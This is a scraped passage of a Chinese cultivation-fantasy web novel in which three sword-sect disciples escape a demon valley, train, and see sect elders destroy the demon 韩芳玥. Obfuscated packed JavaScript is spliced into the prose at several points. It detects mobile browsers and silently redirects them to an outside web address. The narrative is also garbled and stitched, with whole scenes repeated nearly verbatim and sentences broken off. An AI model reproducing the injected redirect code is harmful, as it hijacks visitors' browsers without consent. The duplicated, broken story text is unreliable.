仙草的本源之力!那侵蚀性的黑气如遇克星,迅速消退,伤口也以肉眼可见的速度愈合。尸魈见状,幽绿的眼眸中闪过一丝惊疑,随即转为贪婪:“好精纯的生命本源……吞了你……我必能再进一步……”它放弃了唐婉和白浅,身形化作一道黑烟,全力扑向正在为白浅疗伤的陆青烟!速度快到超越了之前的极限!“休想!”唐婉和白浅同时厉喝,不顾自身安危,全力拦截。唐婉将《玄女帝经》催动到极致,剑光如银河泻地;白浅则不惜耗损元气,施展出《青丘涂山剑诀》中的秘技,狐影乍现,剑势诡谲难测。“轰!”三股强大的力量猛烈碰撞,爆发出惊人的气浪,将周围的瘴气都暂时驱散了一片。尸魈被这舍命一击震退数步,身形一阵模糊不稳定。“就是现在!走!”唐婉抓住这稍纵即逝的机会,与白浅、陆青烟施展出《九天玄女心经》中最快的御风飞仙身法,向着来路疾驰而去。那千年尸魈似乎对峡谷上方的环境有所忌惮,或是需要稳固受创的幻形,并未全力追赶,只是发出一声充满不甘的尖啸,回荡在深邃的谷底。三女不敢有丝毫停留,一路飞奔,直到冲出鬼雾岭的范围,感受到外界清新的空气和久违的阳光,才终于松了口气,后背已被冷汗浸透。历经艰险,她们终于带着数百株珍贵的三玄聚灵叶,安然离开了这危机四伏的鬼雾岭。这一场生死历练,让她们的羁绊更深,也让她们隐约触碰到了那个更高世界的门槛。 33. 万里传书剑气横 在雨韵剑宗安排在恒古神殿外围的临时客栈唐婉、白浅、陆青烟三女立刻将历经艰险,从陨仙谷底携带着珍贵的三玄聚灵叶以及更为惊人的情报以秘制信鸽,详细记录,火速分别传回宗门雨韵剑宗和秋池剑阁。信中说:“在鬼雾岭的最深处,大地仿佛被天神一剑劈开,留下一道触目惊心的巨大裂痕——陨仙谷。此谷绵延数十里,深不见底,谷中常年涌出五彩斑斓的剧毒瘴气,乃是风铂金仙陨落后,其不灭仙躯逸散的磅礴能量与地脉戾气交织所化,使得方圆数百里内草木凋零,妖兽异变,成为生灵罕至的绝地。我们三人成功采集到三玄聚灵叶后在谷底遭遇的那位由千年妖兽鬼影豹修炼而成、已能幻化人形的恐怖存在——韩芳玥。那韩芳玥绝非寻常妖物。当其现出真身时,谷底绯红的血气自裂缝中升腾,凝聚成遮天蔽日的血云。血云之中,立着一道修长曼妙的人影,其容貌竟诡异地融合了我们三人的容貌优点:唐婉之清冷、白浅之灵秀、陆青烟之温婉,堪称一位绝世佳人,但眉宇间却凝聚着化不开的邪戾与杀意。此獠凭借吞噬陨落金仙逸散的残魂与血气,修为已臻至妖兽的顶峰——天魔极境,速度快如鬼魅,化为血光,瞬息千里。更令人发指的是,先前在仙尊峰一带失踪的雨韵剑宗与秋池剑阁共二十六名女弟子,经我们在谷底发现的遗物证实,竟悉数遭了韩芳玥的毒手,被其吸干精元魂魄以助长邪功。” 雨韵剑宗外院,静修室内。雨灵副院主刚结束一轮周天运转,正欲品茗,窗外忽传来信鸽扑翅之声。她素手一伸,那灵巧的信鸽便落于其腕上。解下传书,目光扫过,她那向来平静无波的面容骤然一变,捏着信笺的指尖微微收紧。几乎在同一时刻,秋池剑阁的若曦长老也收到了内容相同的传书。她阅毕,霍然起身,眉宇间凝聚起前所未有的凝重,身影一闪,便已出现在雨灵副院主的静修室外。“雨灵师姐,信你可收到了?”若曦长老的声音带着一丝不易察觉的急促,人未至,声先到。 雨灵副院主将信笺递过,沉声道:“刚看完。若曦师妹,你也收到了?看来婉儿、浅儿、青烟这三个丫头遇到的,绝非小事。”若曦长老快步走入,接过信笺再次确认,语气肯定:“笔迹无误,是她们三人联名所书。陨仙谷底,天魔极境的邪物定是恶名昭著的鬼女韩芳玥无疑了,她还残害了我两宗数二十六名弟子!”雨灵副院主眼眸中寒光一闪:“此妖女已修炼到天魔极境,此等邪物已非门下弟子所能应对。若任其成长,汲取金仙残存之力,恐怕不出百年,这鬼雾岭乃至我两宗辖境,都将沦为魔域!” “师姐所言极是!”若曦长老点头,决然道,“必须在其羽翼未丰之前,彻底铲除!。”若曦长老略沉吟片刻:“马上通知星灵师姐和水寒师妹,她们二位长老同你我的修为相当,皆是凌霄段大圆满的巅峰修为,可一同前往。”“正合我意!”雨灵长老立刻赞同,“事不宜迟,你我分头行动,半日后,山门汇合!”半日后,雨韵剑宗山门之上,四道强横无匹的气息冲天而起。几日后唐婉和陆青烟两人收到了秋池剑阁和雨韵剑宗联合颁发的调令,调令要求她们即刻起身先回到了雨韵剑宗外院,在外院待了三天后,就收到宗门内院的传令,离开了外院,陆青烟由雨灵长老推荐入雨韵剑宗的内宗学府正式成为内宗弟子,唐婉则由若曦长老举荐入秋池剑阁成为内宗弟子。在恒古神殿临时客栈,只剩白浅一人。白浅开始闭关修炼,准备炼化在陨仙谷中得到的修炼资源,提升自己的修为。盘坐在室内,白浅将一只尺长的玉匣取出来,放在身前的地面。将玉匣打开,匣子中散发出浓郁的圣力和药气。六十八株三玄聚灵叶,每一株都蕴含着强大的药性,对于笃行段和化境段的武者来说,哪怕只是炼化一株,就能突破一个境界。白浅并没有急着将三玄聚灵叶完全炼化,而是每日炼化一株,其余时间全部用来修炼《霜月九式》与《青丘涂山剑诀》。她不仅仅是要炼灵叶中的药力,更要将那一缕半仙之光与自身武魂相融,彻底转化为属于她的力量。半个月过去,白浅炼化了十五株三玄聚灵叶,修为稳步提升,气湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“或许近古也有人达到笃行段的无上极境,只是没有被记录在这本书籍之中。地煞大陆何等浩瀚,就算巴山夜雨城这样的庞大势力,也不可能将所有武者的资料就记录下来。”白浅逐渐找回信心,她的眼神变得无比坚定。 34. 青鸾佩照雪原寒 秋池剑阁,镇魂峰顶。罡风凛冽,刮在脸上如刀割般疼痛。唐婉独自立于悬崖边缘,手中紧握着那卷《霜月九式》全卷。她的衣袂被狂风吹得猎猎作响,周身气息内敛,却隐隐透出一股令人心悸的锋芒。“这就是真正的杀伐之术么?”她低声自语,指尖拂过剑谱上那些古老晦涩的铭文。不同于《七仙女剑法》的飘逸曼妙,《霜月九式》每一式都透着极致的冷酷与决绝。这是将“霜月”意境推演到极致的剑术,一招一式,不求防守,只求在瞬间将敌人冰封、绞杀!唐婉闭上眼,识海中那道剑形武魂剧烈震颤。她开始演练。没有真气外放,没有惊天动地的声势,只有最简单、最直接的刺、劈、撩、抹。一剑刺出,空气仿佛被瞬间抽空,发出“嗡”的一声闷响。这一剑,快到了极致,也冷到了极致。唐婉知道,她正在将“快”与“冷”融合,试图摸索出一条属于自己的剑道——极道。雨韵剑宗,内宗丹房。烈火熊熊,药香扑鼻。陆青烟素手翻飞,控制着丹炉内的火势。她面前摆放着数十个玉盒,里面装着的,正是那珍贵无比的三玄聚灵叶。“破魔丹,乃上古丹方,专克邪祟阴气。”陆青烟额头渗出细密的汗珠,精神力高度集中。她不仅要炼制丹药,更要将自己体内的浩然正气与绛珠仙草的生机融入其中。去!”她指尖一弹,一颗龙眼大小、通体漆黑如墨的丹药从炉中飞出。然而,就在丹药成型的瞬间,丹身竟裂开了一道细微的缝隙!“失败了?”陆青烟秀眉微蹙。她知道,这是因为丹药品级过高,以她目前的修为和精神力,还不足以完美掌控。但时间紧迫,韩芳玥随时可能破境而出。“看来,只能用那个方法了。”陆青烟一咬牙,猛地拍向丹炉。她竟将自身精血逼入炉中,以圣裔血脉为引,强行催化丹药!“轰!”丹炉炸裂,漫天黑芒爆射。在那黑芒中心,一颗流转着七彩琉璃光的丹药缓缓升起。这丹药,不仅蕴含破魔之力,更带着陆青烟独有的生命气息。“七彩破魔丹”陆青烟脸色苍白,却露出一丝欣慰的笑,“这一颗,足以让婉儿的剑,染上死亡的色彩。” 恒古神殿,临时客栈。静室内,死一般的寂静。白浅盘膝坐在中央,周身笼罩在一层朦胧的月辉之中。她面前的地面上,摆满了被吸干灵气的玉盒残渣。六十八株三玄聚灵叶,已全部炼化完毕。但奇怪的是,她并没有选择突破到化境段。她的气息依旧停留在笃行段大圆满,甚至给人一种压抑、沉闷的感觉,就像即将爆发的火山,又像是引而不发的利箭。“每秒七十九米”白浅睁开眼,眸中闪过一丝电光,“还不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594659|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。近古时代那九位天才,哪个不是惊才绝艳?他们止步于此,是因为这个境界,需要的不只是速度,更是一种‘道’的领悟。”她缓缓站起身,素手轻抚腰间的剑柄。脑海中,那道狐影武魂正在疯狂咆哮,与她体内的青丘涂山剑诀产生着剧烈的共鸣。“韩芳玥能吞噬生魂,幻化人形。”“那我便修成‘幻影’,以万千虚影,乱其心智!”“她速度快如鬼魅,那我便修成‘瞬步’,在空间法则上胜过她!”白浅的眼神变得无比坚定。她不走寻常路,她要以笃行段的修为,去挑战天魔极境的妖女!夜幕降临,恒古神殿外围的森林中。一道黑影,如鬼魅般穿梭。那正是离开陨仙谷后,一直潜伏在暗处的千年尸魈韩芳玥。她并未离去,而是在等待。等待那三个女孩彻底分离,等待她们最虚弱的时候。“桀桀桀”韩芳玥抚摸着自己的脸颊,那张融合了唐婉、白浅、陆青烟三人优点的绝世容颜上,露出一丝邪异的笑容。“三玄聚灵叶还有那精纯的生命本源”“等我把那个小丫头体内的‘绛珠仙草’吃掉,我就能彻底摆脱这具腐烂的躯壳,重获新生了!”她猛地抬头,望向雨韵剑宗的方向。“陆青烟你的味道,最是香甜。”惜春之年,暗流涌动。三女在明,妖女在暗。一场以命搏命的猎杀,即将拉开序幕。 35. 八千里路云和月 镇魂峰顶的罡风如刀,削在脸上生疼。 唐婉独行于峭壁边缘,手中那卷《霜月九式》在风中猎猎作响。她没有运起护体真气,任由这股绝强的风力撕扯着衣衫,试图在这极致的压迫中,寻找到那一丝“快”与“冷”的平衡点。 咻!” 剑出无声。 没有惊天动地的剑气,只有一道细微到几乎不可闻的破空声。 这一剑刺出,连前方的气流都未曾被扰动,仿佛这一剑本身就属于虚空的一部分。 “不够。” 唐婉收剑,眉头微蹙。若曦长老要求的,是舍弃《七仙女剑法》的繁复变化,回归杀伐的本质。可她总觉得,这“冷”中少了一份属于她自己的“魂”。 与此同时,雨韵剑宗内宗丹房。 “噗” 陆青烟喷出一口精血,尽数喷洒在丹炉之上。 炉内,那原本漆黑如墨的破魔丹,在吸收了她的圣裔精血后,竟开始剧烈颤抖,表面裂开无数细纹,一股令人心悸的毁灭气息弥漫开来。 “稳住!” 陆青烟俏脸煞白,双手飞速结印内那株绛珠仙草的本源生机疯狂注入炉中。 她不是在炼丹,而是在“养”丹。 这颗丹药,承载了她对唐婉的牵挂与守护。“婉儿,这颗七彩破魔丹,足以让你在面对那个妖女时,剑出无悔。”陆青烟看着丹药逐渐归于平静,嘴角勾起一抹虚弱的笑意。 恒古神殿,临时客栈。 白浅并未像唐婉那样挥剑,也没有像陆青烟那样炼丹。 她只是静静地坐着,面前摊开着那本《近古英杰录》。 书页停在那“九位无上极境天才”的记载上。 “每秒八十米真的是一道天堑吗?” 白浅指尖拂过那些早已泛黄的名字,眼中没有了往日的焦躁,反而透着一股死寂般的冷静。 她缓缓闭上眼。 识海中,那道狐影武魂不再咆哮,而是静静地盘踞在那里。她体内的《青丘涂山剑诀》开始以一种诡异的频率运转,不再是追求速度的提升,而是将速度“压缩”。 “韩芳玥,你能吞噬生魂,能幻化人形。” “那我便修成‘无相’。万千幻影,无一为真,无一为假。”“你快如鬼魅,那我便修成‘绝迹’。不是快过你,而是让你根本捕捉不到我移动的轨迹。” 白浅要做一件疯狂的事她要以笃行段大圆满的修为,去触摸那个连近古九大天才都未能触及的“无上极境”门槛。夜色如墨,恒古神殿外的原始森林中。一道黑影掠过树梢,速度快得只剩残影。韩芳玥那张融合了人类优点的绝世容颜上,此刻正挂着令人毛骨悚然的贪婪。“桀桀桀”她嗅着空气中传来的方向,那股属于绛珠仙草的浓郁生命气息,让她腐烂的躯壳都在兴奋地颤抖。“雨韵剑宗陆青烟。”“你的味道,最是香甜。”她猛地抬头,那双幽绿的眼眸穿透了黑暗,死死盯住了雨韵剑宗的方向。唐婉去了秋池剑阁,白浅还在闭关悟道。现在的陆青烟,孤立无援。“等我吞噬了那株仙草,我便能彻底摆脱这具腐烂的躯壳!”韩芳玥身形一闪,化作一道血光,向着雨韵剑宗的方向疾驰而去。惜春之年,暗流已成滔天巨浪。三女分兵,妖女出击。一场针对陆青烟的绝杀,正在夜色中悄然上演。 手持若曦长老的亲笔举荐信函与宗门调令,唐婉在一位秋池剑阁内宗执事的接引下,离开了雨韵剑宗的地界。数日后,唐婉伫立于一处风格迥异的山门之前。雨韵剑宗依山而建,殿宇恢弘,气势磅礴,如帝王之居;而眼前的秋池剑阁,却似与自然山水融为一体,清雅得不染尘埃。但见远处群峰环抱之中,竟镶嵌着一片巨大的湖泊。湖水色作深碧,平静无波,望之令人心静神凝。湖畔,无数亭台楼阁依水而建,或悬于水面,或隐于林间,廊桥曲折,连接着这片水上的仙家洞天。空气中弥漫着淡淡的水汽与草木清香。更奇特的是,此地的灵气似乎都带着一股清冽柔韧的意境,与雨韵剑宗那股浩然大气截然不同。“此湖名为‘秋池’,亦是本阁之名由来。”接引的执事见唐婉面露赞叹,微笑着解释道,“秋池之水,看似至柔,实则蕴含无穷剑意。本阁祖师便是在此悟道,创下以柔克刚、以静制动的无上剑道。内宗弟子修行,首重悟性,需在秋池之畔感悟‘剑心如水’的意境。”唐婉微微颔首,心中明悟。这秋池剑阁的修行路数,果然与雨韵剑宗大开大合的剑势不同,更注重内在的感悟与意境的锤炼。这倒是与她《七仙女剑法》中的某些缥缈变化隐隐契合。穿过重重水榭廊桥,执事将唐婉引至一座临水的巨大殿阁前。殿阁匾额上书“听雨轩”三字,笔迹清雅,却暗含锋芒。“唐师妹,此处便是内宗弟子初入阁时登记造册、聆听训诫之所。”执事低声提醒道,“掌管听雨轩的,是沐雪长老。沐雪长老性情颇为清冷,不喜多言,但处事极为公正,你需谨言慎行。”唐婉谢过执事,整了整衣衫,独自步入听雨轩。轩内异常简洁,几乎不见装饰,唯有四壁悬挂着几幅水墨剑意图,意境高远,引人深思。一位身着素白长袍的女子背对着门口,临窗而立,望着窗外烟波浩渺的秋池。她身姿挺拔,如孤峰寒松,周身不见丝毫灵气波动,却给人一种深不可测、与整个秋池意境融为一体的感觉。“弟子唐婉,奉若曦长老之命,前来报到。”唐婉恭敬行礼。沐雪长老缓缓转身。她的面容看起来不过三十许,容貌清丽绝伦,但一双眸子却如秋池之水,深邃而冰冷,不见丝毫波澜。她目光落在唐婉身上,既无审视,也无好奇,仿佛只是在看一件寻常之物。“信函。”沐雪长老的声音如其人,清冷平淡,不带感情。唐婉连忙将若曦长老的举荐信和调令呈上。沐雪长老接过,目光扫过,便将信函置于一旁案上,淡淡道:“既是若曦师妹举荐,又有鬼雾岭之功,入内宗,合乎规矩。”她话语极少,直接切入正题:“秋池剑阁内宗,不设固定师承。所有剑典秘籍,皆存放于‘万卷湖’底的水晶宫中。弟子凭自身修为与贡献,可入内参阅。每月初七,我会在此讲解《秋池剑纲》一个时辰,有疑问者可来。其余时间,自行修炼,或可去‘试剑林’与同门切磋,或可接取宗门任务历练。”这番介绍,与唐婉想象中的宗门大相径庭。没有固定的师父,没有严格的层级,一切都显得极为自由,甚至有些松散。但这自由之下,却蕴含着极大的压力,一切修行资源,都需要靠自身实力和努力去获取。“弟子明白。”唐婉应道。沐雪长老微微颔首,屈指一弹,一枚触手温润的青色玉牌飞向唐婉。“这是你的身份玉牌,亦是进入水晶宫的凭证。初始贡献点已记录在内。住处沿此廊桥向西,第三间‘水云居’便是。”交代完毕,沐雪长老便不再多言,重新转过身,望向秋池,仿佛唐婉从未出现过一般。唐婉握着玉牌,再次行了一礼,悄然退出了听雨轩。她站在廊桥上,看着云雾缭绕的秋池和若隐若现的楼阁,心中已然明了:秋池剑阁内宗,绝非安逸享乐之地。这里的修行,更注重个人的悟性与自律。相比雨韵剑宗由陆青烟那般强势人物定下规矩、自上而下的管理,秋池剑阁更像是一片适者生存的修炼沃土,充满了未知与挑战。她深吸一口带着水汽的清新灵气,眼神变得坚定无论何种环境,都无法阻挡她追求剑道巅峰的决心。迈开步伐,唐婉向着属于自己的“水云居”走去。新的修行之路,已然在她脚下展开。自那日与陆青烟在雨韵剑宗外院分别,手持若曦长老亲笔举荐信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594660|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唐婉,便随接引执事来到了秋池剑阁。初入内宗,但见碧波万顷的秋池湖畔,亭台水榭错落有致,灵气清冽中蕴含柔韧剑意,与雨韵剑宗的恢弘大气截然不同。在“听雨轩”见过清冷寡言的沐雪长老,领取了身份玉牌后,唐婉被安置于临水的“水云居”暂住。这日,为配制日后修行所需的药酒,唐婉信步来到内宗坊市。同行的,是一位早她几日入阁、性情颇为热络的师姐。坊市中人流如织,各色店铺林立。唐婉径直走向宗门直辖的“百草轩”。轩内药香扑鼻,药材琳琅满目。她的目光很快便被角落一簇色彩斑斓、形似灵芝的菌菇吸引——正是世间罕见的七情菇。此菇虽剧毒无比,但若辅以他药泡制药酒,非但能提升功力,长期饮用更可令人百毒不侵。前世身为唐门长老,她对此道深谙已久。既然遇见,唐婉自然不会错过。她唤来侍者,直接道:“请主事一见。”百草轩的侍者平日见惯了内宗弟子,见唐婉面生,虽气质不凡,却也未太放在心上,只敷衍道:“主事正忙,师姐需要何物,与我说便是。”唐婉不欲多言,指尖亮出那枚若曦长老所赐、代表核心弟子身份的云纹玉牌。侍者一见玉牌,神色顿变,之前的散漫一扫而空,转为十足的恭敬,忙不迭地躬身道:“师姐恕罪!弟子这便去请柳主事!”说罢,匆匆入内。一旁的师姐见状,好奇低语:“婉儿师妹,你这玉牌竟有如此分量?”唐婉浅笑:“是若曦长老厚爱,赐下此令,方便行事罢了。”她心知,在这规矩森严又充满机遇的秋池内宗,这重身份确是便利。片刻,主事柳芸快步而出。她是一位精明干练的中年女修,目光在唐婉身上一扫,又瞥见那枚玉牌,脸上已堆起热情笑容:“这位想必便是新入内宗的唐婉师妹吧?师妹在鬼雾岭的英姿,柳某早有耳闻,今日得见,幸甚!”“柳主事客气。”唐婉还礼,说明来意,“今日前来,是想购置些药材。”柳芸眼中闪过一丝讶异:“宗门库藏丰富,师妹何须来此?”“库藏虽丰,却未必有我心仪之品。”唐婉目光再次扫过那堆七情菇。柳芸何等精明,立刻笑道:“师妹既需要,百草轩定然尽力满足。今日师妹所选,一律九折。”她亲自为唐婉拣选药材,动作娴熟。待常用药材配齐,唐婉状似随意地指向七情菇:“柳主事,此物颇为奇特,不知是何来历?”柳芸看了一眼,摇头道:“此乃前几日有弟子从后山险地带回,色泽虽艳,却似含剧毒,药性未明,故未敢轻易入库。师妹问它作甚?”“我看着新奇,想一并带走研究一番。”唐婉道。柳芸略一沉吟,爽快道:“此物既未定价,师妹若感兴趣,便赠予师妹了。只是需格外小心,山野异种,毒性难测。”“多谢主事提醒,我自有分寸。”唐婉点头。待柳芸去打包药材,同行的师姐忍不住低声问:“婉儿,你买这许多药材,尤其那毒菇,究竟何用?”唐婉神秘一笑:“日后师姐便知。”“那菇艳丽非常,必是剧毒之物,你莫要冒险!”师姐担忧道。唐婉嘴角微扬,流露出与年龄不符的自信:“若论辨识药性、尤其是毒理,同辈之中,我若谦称第二,恐无人敢称第一。”见师姐将信将疑,唐婉随手指向药柜中的几味药材,如数家珍:“师姐请看,那‘月华草’,味甘性寒,生于月华充沛处,有宁神之效;那‘赤炎根’,味辛性热,长于向阳坡,可驱寒毒;那‘石髓乳’,性平味淡,乃钟乳精华,能固本培元。”她不仅道出药性,连生长环境、功效禁忌都分毫不差。 师姐听得目瞪口呆,这才信服这位小师妹在剑道之外,竟还有如此渊博的药学见识。药材既已备齐,唐婉心中盘算着药酒的配制之法。在这以剑为尊的秋池剑阁,她这条辅以药力、追求百毒不侵的修行之路,或许将是她独特的依仗。惜春之年,她躬身入局,每一步,都在为那未知的巅峰铺路。 36. 剑影未动风先惊 镇魂峰顶的罡风如刀,刮得人脸颊生疼。唐婉独自立于悬崖边缘,手中紧握着那卷《霜月九式》全卷。衣袂翻飞间,她周身气息内敛,却透着一股令人心悸的锋芒。不同于《七仙女剑法》的飘逸曼妙,《霜月九式》每一式都透着极致的冷酷。她闭目凝神,识海中那道剑形武魂剧烈震颤。一剑刺出,空气仿佛被瞬间抽空,发出“嗡”的一声闷响。这一剑,快到了极致,也冷到了极致。她正在将“快”与“冷”融合,摸索那条属于自己的极道。与此同时,雨韵剑宗内宗丹房。炉火熊熊,药香扑鼻。陆青烟素手翻飞,额间渗出细密汗珠。她将珍藏的三株三玄聚灵叶投入炉中,以此作为药引,强行催化那颗足以致命的破魔丹。“轰!”丹炉剧烈震颤,炉盖被一股黑芒顶起。陆青烟一咬牙,猛地拍向炉壁,一口精血喷涌而出,尽数浇灌在丹药之上。她以圣裔血脉为引,将丹田内绛珠仙草的生机强行注入。丹成,七彩琉璃光流转,却散发着令人心悸的毁灭气息。“这一颗,足以让婉儿的剑,染上死亡的色彩。”陆青烟脸色苍白,嘴角溢出一丝血迹,眼中却满是欣慰。而在恒古神殿的临时客栈中,白浅正盘膝而坐。她面前摊开着《近古英杰录》,指尖拂过那“九位无上极境天才”的名字。六十八株三玄聚灵叶已全部炼化,但她的气息依旧死死压制在笃行段大圆满,没有半分突破的迹象。“每秒七十九米近古九大天才,皆止步于此。”白浅睁开眼,眸中电光一闪,“他们追求的是速度的极致,而我,要修的是‘道’的领悟。”她缓缓起身,素手轻抚剑柄。识海中,那道狐影武魂疯狂咆哮,与《青丘涂山剑诀》产生剧烈共鸣。她不走寻常路,她要以巧破力,以心证道,准备以笃行段的修为,去挑战那个名为韩芳玥的噩梦。夜色如墨,恒古神殿外围的原始森林中。一道黑影如鬼魅般穿梭,正是韩芳玥。她并未离去,而是像一头耐心的猎手,潜伏在暗处,等待着最佳的猎杀时机。那张融合了唐婉清冷、白浅灵秀、陆青烟温婉的绝世容颜上,此刻挂着令人毛骨悚然的贪婪。她嗅着空气中传来的方向,那股属于绛珠仙草的浓郁生命气息,让她腐烂的躯壳都在兴奋地颤抖。“等我把那个小丫头体内的仙草吃掉,我就能彻底摆脱这具腐烂的躯壳!”韩芳玥猛地抬头,幽绿的眼眸穿透黑暗,死死锁定了雨韵剑宗的方向。唐婉去了秋池剑阁,白浅还在闭关悟道。现在的陆青烟,孤立无援。她身形一闪,化作一道血光,向着雨韵剑宗的方向疾驰而去。夜色如墨,雨韵剑宗外宗的护山大阵早已开启,将整片山脉笼罩在一片朦胧的星光结界之中。陆青烟刚从丹房走出,脸色依旧有些苍白。她手中紧紧攥着那只装着“七彩破魔丹”的玉瓶,正准备返回居所调息。她并未察觉,一股令人作呕的腐朽气息,正如同跗骨之蛆般,自地底深处弥漫而上。“桀桀桀……”一声令人毛骨悚然的怪笑,撕裂了夜的宁静。韩芳玥那张融合三□□点的绝世容颜,自黑暗中浮现。她身形快如鬼魅,一只覆盖着黑气的利爪,直取陆青烟的后心! “陆青烟,你的生命本源,我要定了!” 这一爪,蕴含着天魔极境的恐怖威压,整个空间的灵气仿佛都在这一刻被抽空。陆青烟只觉周身一窒,连运转真气都变得困难,死亡的阴影瞬间笼罩了她。 “不好!”陆青烟花容失色,急忙运转《浩然正气诀》,一道金色光盾在身后瞬间成型。 然而,天魔极境与普通化境有着云泥之别。“咔嚓!”金盾应声而碎,韩芳玥的利爪去势不减,眼看就要洞穿陆青烟的胸膛,将那株珍贵的绛珠仙草吞噬殆尽。就在这千钧一发之际“妖孽,休得猖狂!”一道清冷至极的女声,如九天寒冰般炸响。一道耀眼的剑光,自雨韵剑宗内院方向激射而来,后发先至,精准无比地斩向韩芳玥的手腕。韩芳玥不得不收爪回防,身形暴退数丈,惊疑不定地望向剑光来源。只见雨韵剑宗宗主雨灵长老,手持一柄青光长剑,凌空而立,周身气势如渊似海。“雨灵老贼婆!”韩芳玥咬牙切齿,“你竟敢坏我好事!”“区区邪祟,也敢在我雨韵剑宗撒野?”雨灵长老面若寒霜,长剑一挥,一道巨大的剑罡横扫而出,将周围的古树尽数斩断。与此同时,另一道身影如流星般坠落。秋池剑阁阁主若曦长老,手持冰晶长剑,自天而降,正好堵住了韩芳玥的退路。她周身寒气四溢,连空气都仿佛被冻结了。“若曦老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贼尼!”韩芳玥脸色彻底变了。她原本以为,凭借自己的隐匿之术和天魔极境的修为,足以在雨韵剑宗来去自如,吞噬了陆青烟后便远走高飞。她万万没想到,这两位凌霄段大圆满的巨头,竟然早就在此设下了天罗地网!“韩芳玥,你屠戮我两宗弟子,今日便是你的死期!”若曦长老冷喝一声,与雨灵长老呈夹击之势,将韩芳玥死死围住。“想杀我?没那么容易!”韩芳玥知道自己中了圈套,眼中闪过一丝狠厉。她猛地一拍胸口,喷出一口精血,身形瞬间暴涨,化作一道血影,竟是要强行突围。“阵起!”雨灵长老厉声喝道。刹那间,雨韵剑宗与秋池剑阁的护山大阵同时光芒大作。原本用于防御的山门大阵,此刻竟变成了一个巨大的囚笼,无数道铭纹交织,将韩芳玥死死锁在其中。“星灵、水寒,还不出手,更待何时!”若曦长老高声呼喝。虚空中,两道恐怖的气息轰然降临。秋池剑阁的星灵长老与水寒长老,不知何时已隐于云端,此刻同时出手!四道凌霄段大圆满的气息,如四座巍峨巨山,轰然压向韩芳玥。“不!”韩芳玥发出了绝望的嘶吼。她虽然修为通天,但面对四位同阶强者的围攻,且身处大阵之中,根本毫无胜算。“轰隆隆!”恐怖的能量风暴在大阵中肆虐。韩芳玥疯狂地燃烧着本命精元,化作一道血色流光,试图冲出重围。然而,雨灵长老的剑罡如山,若曦长老的寒冰如狱,星灵长老的星辰如雨,水寒长老的水幕如天。仅仅一炷香的功夫,那道血色流光便彻底黯淡下去。“噗!”一声闷响,韩芳玥那具腐烂却又妖艳的身躯,被四股力量合力碾碎,化作漫天飞灰。一枚散发着浓郁生命气息的妖丹,悬浮在半空,正是她修炼千年的结晶。雨灵长老伸手一抓,将那枚妖丹摄入手中,眼中闪过一丝复杂的神色。“祸患已除,青烟,你且安心修炼。此妖丹,便赏你了。”陆青烟惊魂未定,连忙跪谢:“谢宗主救命之恩。”她知道,这看似是救援,实则是借刀杀人。若没有这四位长老的联手布局,她今日必死无疑。而那妖丹中的能量,也将是她冲击更高境界的关键。惜春之年,螳螂捕蝉,黄雀在后。韩芳玥这只自以为是的黄雀,最终却成了四位凌霄巨头联手围杀的猎物。 37. 冰心初试阁主威 恒古神殿,银袍长老阁。殿内烛火摇曳,映照着白浅沉静的面容。她将记载着鬼雾岭详情、韩芳玥异变以及三玄聚灵叶由来的玉简,恭敬地呈递上去。甜蜜阁主接过玉简,指尖泛起一层柔和的银光,神念瞬间扫过。殿内的空气仿佛凝固了片刻。甜蜜放下玉简,那双原本带着戏谑笑意的凤眸,此刻已完全收敛,只剩下深不见底的寒潭,她抬起眼,目光如实质般落在白浅身上:“你做得很好,此事关系重大,你及时上报,是大功一件。”白浅心中微松,知道这第一步算是走稳了。“晚辈只是恰逢其会,不敢居功。”甜蜜轻轻敲击着桌面,发出规律的轻响,那是她在权衡思量。“你既已答应我,要在神殿小比中进入前三。”甜蜜话锋一转,语气变得严肃,“那么,在此之前,你必须保证足够的实力。鬼雾岭之事,便当作你的试炼之一。”她袖袍一挥,一枚银色的令牌飞向白浅。“此乃我银袍阁的客卿令牌。即日起,你便是神殿客卿,可自由出入外殿藏经阁查阅典籍,亦可调用部分资源。当然,相应的义务,你也清楚。”白浅接过令牌,入手冰凉,却感受到其中蕴含的特殊权限。“晚辈明白。”“另外,”甜蜜站起身,缓步走下主位,“你之前提到的三玄聚灵叶,对稳固根基、冲击瓶颈大有裨益。我观你修为,已至笃行段大圆满,却迟迟不破,可是卡在了‘意境’之上?”白浅心中一凛,甜蜜的眼光毒辣如斯,一眼便看穿了她刻意压制的境界和症结所在。“阁主明